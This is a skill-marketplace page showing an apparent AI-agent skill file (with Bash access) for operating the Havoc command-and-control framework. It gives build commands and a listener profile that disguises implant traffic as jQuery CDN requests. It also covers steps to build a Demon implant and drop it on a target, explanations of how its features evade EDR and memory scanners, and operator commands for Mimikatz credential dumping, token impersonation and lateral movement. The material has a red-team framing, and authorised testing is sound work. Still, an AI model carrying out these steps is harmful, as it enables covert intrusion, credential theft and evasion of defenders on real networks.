Skip to main content

c2-havoc

Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٢٦ مايو ٢٠٢٦ في ٠٩:٢٥
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
c2-havoc
description
Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"havoc demon c5pider sleep obfuscation ekko ekko zilean foliage indirect syscall donut pic","subdomain":"c2","tags":"c2, havoc, demon, post-exploitation, opsec","mitre_attack":"T1071, T1105, T1620"}
# Havoc C2 Operator Skill Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks. ## Setup ```bash # Build from source (Linux) git clone https://github.com/HavocFramework/Havoc cd Havoc make ts-build make client-build make server-build # Or run via Docker docker compose up -d ``` ## Architecture ``` ┌────────────┐ ┌─────────────┐ ┌──────────┐ │ Operator │ <───> │ Teamserver │ <───> │ Demon │ │ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│ └────────────┘ └─────────────┘ └──────────┘ ``` - **Teamserver**: Listens on operator port (40056 default) for clients; HTTP listener for demons. - **Client**: Qt-based desktop UI (Material Dark). - **Demon**: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls. ## Configure a profile Havoc uses a `profiles.yaotl` HCL-like config. Example for a low-OPSEC HTTP listener: ```hcl Teamserver { Host = "0.0.0.0" Port = 40056 Build { Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc" Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc" Nasm = "/usr/bin/nasm" } } Operators { user "op-alice" { Password = "strongpassword" } } Listeners { Http { Name = "primary-http" Hosts = ["op-server.com"] HostBind = "0.0.0.0" PortBind = 443 PortConn = 443 Secure = true HostRotation = "round-robin" Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic Headers = ["X-Forwarded-For: 1.2.3.4"] UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } } ``` Then `./havoc server --profile profiles.yaotl -v`. ## Build a Demon In the client UI: 1. Attack → Payload → Demon 2. Listener: select your HTTP listener 3. Arch: x64 / x86 4. Format: Windows Exe / Windows DLL / Shellcode 5. Sleep Technique: **Ekko** (queue user APC ROP chain) / **Zilean** (timer-based) / **FOLIAGE** (ROP-based) 6. Indirect Syscalls: **Enable** (resolves syscalls at runtime, bypasses static SSN hooks) 7. Save → drop on target ```bash # CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now) ``` ## What makes Havoc's OPSEC strong ### Sleep obfuscation (3 options) - **Ekko**: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts. - **Zilean**: timer-based variant. - **FOLIAGE**: pure ROP chain, no Win32 timer dependency. Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match. ### Indirect syscalls Most EDRs hook `NtAllocateVirtualMemory` etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics. Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return. ### No static strings All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. `strings demon.exe | grep -i shell` returns nothing. ### Module stomping Demon module can be hidden by overwriting an existing legitimate module (`mscorlib.dll`, `clr.dll`). ## Common commands ``` > shell whoami /all > proc list > proc kill <pid> > token impersonate <pid> > dotnet inline-execute <SharpHound.exe> -c All > mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap > spawnas <user> <pass> <listener> # spawn new demon as different user > jump <psexec64|wmi|smb_lateral> <host> # lateral movement ``` ## Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike | | Havoc | Sliver | Mythic | Cobalt Strike | |---|---|---|---|---| | **Sleep obfuscation** | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) | | **Indirect syscalls** | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) | | **OPSEC defaults** | Strong | Fair | Per-agent | Excellent | | **Modern UI** | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java | | **Cross-platform implant** | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) | | **License** | GPL OSS | GPL OSS | BSD OSS | Commercial $ | ## When to pick Havoc - Windows-only engagement, need modern OPSEC out-of-the-box - Cobalt Strike's price/license unavailable - Operator team comfortable with Qt UI vs web - Need indirect syscalls + sleep obfuscation without writing BOFs When NOT to pick: - Need cross-platform implant (Sliver/Mythic Poseidon better) - Need a polished commercial UI for client-deliverable screenshots (CS still wins) - Need mature OPSEC profile library (CS Malleable profile ecosystem is bigger) ## References - Havoc Framework docs — havocframework.com - C5pider's blog — c5pider.com (Ekko, Zilean writeups) - "Modern C2 OPSEC" — Outflank training material - Cobalt Strike Malleable profile guide (translates well to Havoc HTTP profile design)
عرض على GitHub